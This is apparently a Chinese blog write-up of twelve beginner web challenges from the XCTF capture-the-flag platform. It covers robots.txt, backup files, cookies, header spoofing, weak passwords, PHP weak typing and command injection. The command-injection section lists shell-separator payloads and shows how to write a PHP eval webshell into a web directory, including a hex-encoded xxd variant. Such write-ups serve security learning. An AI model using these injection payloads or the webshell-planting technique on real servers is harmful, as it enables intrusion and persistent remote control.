• 攻防世界web新手区


    第一题view_source

    f12查看源码在这里插入图片描述

    第二题get_post

    1按照提示先get一个a=1,在post一个b=2,就行
    在这里插入图片描述

    第三题robots

    robots协议是网站跟爬虫间的协议,用简单直接的txt格式文本方式告诉对应的爬虫被允许的权限,也就是说robots.txt是搜索引擎中访问网站的时候要查看的第一个文件。当一个搜索蜘蛛访问一个站点时,它会首先检查该站点根目录下是否存在robots.txt,如果存在,搜索机器人就会按照该文件中的内容来确定访问的范围;如果该文件不存在,所有的搜索蜘蛛将能够访问网站上所有没有被口令保护的页面。

    也就是说通常网站下会有个robots.txt,它会告诉爬虫什么能访问什么不能访问,不能访问是指不希望被爬虫抓取到的内容(通常有重要信息),但是我们可以访问

    这里直接在地址后接robots,
    在这里插入图片描述
    然后访问flag。。。

    第四题Backup

    index.php的备份文件名通常是index.php.bak

    .bak通常是编辑这个文件时,自动生成的备份文件;
    可以用于紧急恢复
    如果编辑后没有什么问题;
    可以删除.BAK文件
    通常命名为xxx.bak

    这里直接访问index.php.bak.

    第五题cookie

    Cookie(复数形态Cookies),又称为“小甜饼”。类型为“小型文本文件”,指某些网站为了辨别用户身份而储存在用户本地终端(Client Side)上的数据(通常经过加密)。
    Cookie 是浏览器访问服务器后,服务器传给浏览器的一段数据。
    浏览器需要保存这段数据,不得轻易删除。
    此后每次浏览器访问该服务器,都必须带上这段数据。
    Cookie 就是这么简单,这就是 Web 开发里 Cookie 的含义。
    Cookie一般有两个用处:
    1.识别用户的身份
    2.记录历史信息
    用一个例子说明:
    假设我们去一个公园,需要购买门票,这个门票的有效期为1一天,也就是在这一天内我们可以凭着这张票随意的进出公园。也就是说可以把每一次进入公园当作是一次http请求,这个票就相当于我们设置的Cookie,正是有了这个票(Cookie),我们可以顺利的进入这个公园(访问网站)。同理Cookie可以设置存活的时间等信息。如:

    Session和Cookie的应用场景

     (1)登录网站,今输入用户名密码登录了,第二天再打开很多情况下就直接打开了。这个时候用到的一个机制就是cookie。
    
     (2)session一个场景是购物车,添加了商品之后客户端处可以知道添加了哪些商品,而服务器端如何判别呢,所以也需要存储一些信息就用到了session。
    

    对cookie和session的理解
    https://blog.csdn.net/qq_41802128/article/details/82151490

    访问网址,抓包看cookie,
    在这里插入图片描述访问cookie.php再抓包,放包response(响应)
    在这里插入图片描述

    第六题disabled_button

    这里主要是考查前端代码
    disabled 属性规定应该禁用 input 元素。
    被禁用的 input 元素既不可用,也不可点击
    在这里插入图片描述
    这里我们直接将它删除
    在这里插入图片描述然后就可以点击了

    第七题simple_js

    提交几次无果后发现
    在这里插入图片描述
    人造密码哈哈?
    在想到之前查看的源码(这题关键是将源码看懂)

    <title>JS</title>
    <script type="text/javascript">
    function dechiffre(pass_enc){
        var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
        var tab  = pass_enc.split(',');
                var tab2 = pass.split(',');var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length;
                        k = j + (l) + (n=0);
                        n = tab2.length;
                        for(i = (o=0); i < (k = j = n); i++ ){o = tab[i-l];p += String.fromCharCode((o = tab2[i]));//虽然前面定义o用到了tab,但是实际都是用tab2这个变量,即最后的结果与我们输入的值无关
                                if(i == 5)break;}
                        for(i = (o=0); i < (k = j = n); i++ ){
                        o = tab[i-l];
                                if(i > 5 && i < k-1)
                                        p += String.fromCharCode((o = tab2[i]));//
                        }
        p += String.fromCharCode(tab2[17]);
        pass = p;return pass;
    }
    String["fromCharCode"](dechiffre("x35x35x2cx35x36x2cx35x34x2cx37x39x2cx31x31x35x2cx36x39x2cx31x31x34x2cx31x31x36x2cx31x30x37x2cx34x39x2cx35x30"));
    
    h = window.prompt('Enter password');
    alert( dechiffre(h) );
    

    从源码中可以看到无论我们输入什么最终返回的值都是FAUX PASSWORD HAHA(里面用到的一些函数在下面)
    这里最可疑

    String["fromCharCode"](dechiffre("x35x35x2cx35x36x2cx35x34x2cx37x39x2cx31x31x35x2cx36x39x2cx31x31x34x2cx31x31x36x2cx31x30x37x2cx34x39x2cx35x30"));
    

    x35x35x2cx35x36x2cx35x34x2cx37x39x2cx31x31x35x2cx36x39x2cx31x31x34x2cx31x31x36x2cx31x30x37x2cx34x39x2cx35x30(这是十六进制的ascii码)

    于是可以先16进制转文本(就是十进制了),在十进制转ascll对应的字符(字符)

    55,56,54,79,115,69,114,116,107,49,50(相当于函数所需的unicode值)

    7,8,6,O,s,E,r,t,k,1,2

    十进制转ascll对应的字符(字符)
    就相当于String[“fromCharCode”](55,56,54,79,115,69,114,116,107,49,50)
    结果为786OsErtk12

    http://www.ab126.com/goju/1711.html在线十进制转ascll字符

    alert() 方法用于显示带有一条指定消息和一个 OK 按钮的警告框。
    在这里插入图片描述prompt()方法用于显示可提示用户进行输入的对话框,这个方法返回用户输入的字符串。

    String方法之fromCharCode()
    fromCharCode() 可接受一个指定的 Unicode 值,然后返回一个字符串(unicode编码的字符)。
    在这里插入图片描述

    第八题xff_referer

    X-Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,只有在通过了HTTP 代理或者负载均衡服务器时才会添加该项
    HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器基此可以获得一些信息用于处理

    innerHTML 属性设置或返回表格行的开始和结束标签之间的 HTML。

    进去后要求IP地址必须为123.123.123.123,使用burpsuite伪造XFF:X-Forwarded-For:123.123.123.123(这里先将原来的refer删除)
    在这里插入图片描述go之后又要求innerHTML=“必须来自https://www.google.com”,再伪造(添加)Referer:Referer:https://www.google.com
    在这里插入图片描述

    第九题weak_auth

    弱密码
    提示用户名为admin
    这里正常应该是要用bp爆破(也可直接猜)
    密码123456

    第十题webshell

    直接用蚁剑连上就能看到flag.php

    第十一题command_execution

    Window/Linux可利用的特殊字符:
    windows支持:
    | 直接执行后面的语句 ping 127.0.0.1|whoami
    || 前面出错执行后面的 ,前面为假 ping 2 || whoami
    & 前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1&whoami
    &&前面的语句为假则直接出错,后面的也不执行,前面只能为真 ping 127.0.0.1&&whoami

    Linux支持:
    ; 前面的执行完执行后面的 ping 127.0.0.1;whoami
    | 管道符,显示后面的执行结果 ping 127.0.0.1|whoami
    11 当前面的执行出错时执行后面的 ping 1||whoami
    & 前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1&whoami
    &&前面的语句为假则直接出错,后面的也不执行,前面只能为真 ping 127.0.0.1&&whoami

    额外知识 写入webshell:
    利用命令注入写一句话php webshell到web目录涉及到一些特殊字符的转义,假设需要写入<?php eval($_POST[kang]); ?>,方法如下:
    WINDOWS:用^转义<,即执行echo ^<?php eval($_POST[kang]); ?^> > web可写目录加文件完整名字
    linux下需要用来转义<,不过很多php都默认开启gpc(魔术引号magic_quotes_gpc())。可以先用16进制转换一句话再用xxd命令把16进制还原,命令如下:
    echo 3c3f706870206576616c28245f504f53545b6b616e675d293b203f3e|xxd -r -ps > web可写目录加文件完整名字

    这里先随便ping
    在这里插入图片描述

    发现可以命令执行
    接者127.0.0.1 | find / -name flag.txt(找寻根目录下所有flag.txt文件)
    在这里插入图片描述
    然后
    127.0.0.1 | cat /home/flag.txt

    推荐文章https://www.cnblogs.com/xiaozi/p/7831529.html

    第十二题simple_php

    <?php
    show_source(__FILE__);
    include("config.php");
    $a=@$_GET['a'];
    $b=@$_GET['b'];
    if($a==0 and $a){
        echo $flag1;
    }
    if(is_numeric($b)){
        exit();
    }
    if($b>1234){
        echo $flag2;
    }
    ?> 
    

    php弱类型

    php中有两种比较的符号 == 与 ===
    == 在进行比较的时候,会先将字符串类型转化成相同,再比较
    如果一个数值和字符串进行比较的时候,会将字符串转换成数值
    === 在进行比较的时候,会先判断两种字符串的类型是否相等(不相等直接返回false),再比较

    <?php
    2 var_dump("admin"==0);  //true
    3 var_dump("1admin"== 1); //true
    4 var_dump("admin1"== 1) //false
    5 var_dump("admin1" ==  0) //true
    6 var_dump("0e123456" =="0e4456789"); //true 
    7 ?> 
    

    “admin”== 0 比较的时候,会将admin转化成数值,字符串通常会被转化为0

    0e123456"==“0e456789"相互比较的时候,会将0e这类字符串识别为科学技术法的数字,0的无论多少次方都是零,所以相等
    这里"1admin”==1 比较的时候会将1admin转化成数值,结果为1,而“admin1“==1 却等于错误,也就是说admin1被转化为了0

    在这里插入图片描述
    is_numeric() 函数用于检测变量是否为数字或数字字符串。
    如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE。
    只要其中有一个不是就返回false

    <?php
    $var_name1=678;
    $var_name2="a678";
    $var_name3="678";
    $var_name4="runoob.com";
    $var_name5=698.99;
    $var_name6=array("a1","a2");
    $var_name7=+125689.66;
    if (is_numeric($var_name1))
    {
        echo "$var_name1 是数字" . PHP_EOL;
    }
    else
    {
        echo "$var_name1 不是数字" . PHP_EOL ;
    }
    if (is_numeric($var_name2))
    {
        echo "$var_name2 是数字" . PHP_EOL ;
    }
    else
    {
        echo "$var_name2 不是数字" . PHP_EOL ;
    }
     
    $result=is_numeric($var_name3);
    echo "[ $var_name3 是数字吗? ]" .var_dump($result) . PHP_EOL;
    $result=is_numeric($var_name4);
    echo "[ $var_name4 是数字吗? ]" .var_dump($result) . PHP_EOL;
    $result=is_numeric($var_name5);
    echo "[ $var_name5 是数字吗? ]" .var_dump($result) . PHP_EOL;
    $result=is_numeric($var_name6);
    echo "[ $var_name6 是数字吗? ]" .var_dump($result) . PHP_EOL;
    $result=is_numeric($var_name7);
    echo "[ $var_name7 是数字吗? ]" .var_dump($result);
    ?>
    
    输出结果为:
    
    678 是数字
    a678 不是数字
    bool(true)
    [ 678 是数字吗? ]
    bool(false)
    [ runoob.com 是数字吗? ]
    bool(true)
    [ 698.99 是数字吗? ]
    bool(false)
    [ Array 是数字吗? ]
    bool(true)
    [ 125689.66 是数字吗? ]
    

    所以可以a=a,and前为真,同时因为a的ASCII码>0(0a,0b等等都行),则后面的$a也为真
    这样第一个if为真,拿到一半flag
    然后就b=12345a
    在这里插入图片描述

  • 相关阅读:
    前端开发框架
    用C#实现的条形码和二维码编码解码器
    Razor视图语法
    asp.net微软图表控件MsChart
    高并发下的Node.js与负载均衡
    GCC知识
    Mongodb学习(安装篇): 在centos下的安装
    代码评审
    构建一个前端库做一个富客户端的基类
    企业级应用架构(NHibernater+Spring.Net+MVC3+WCF)_3.0
  • 原文地址:https://www.cnblogs.com/lceFIre/p/12430697.html
Copyright © 2020-2023  润新知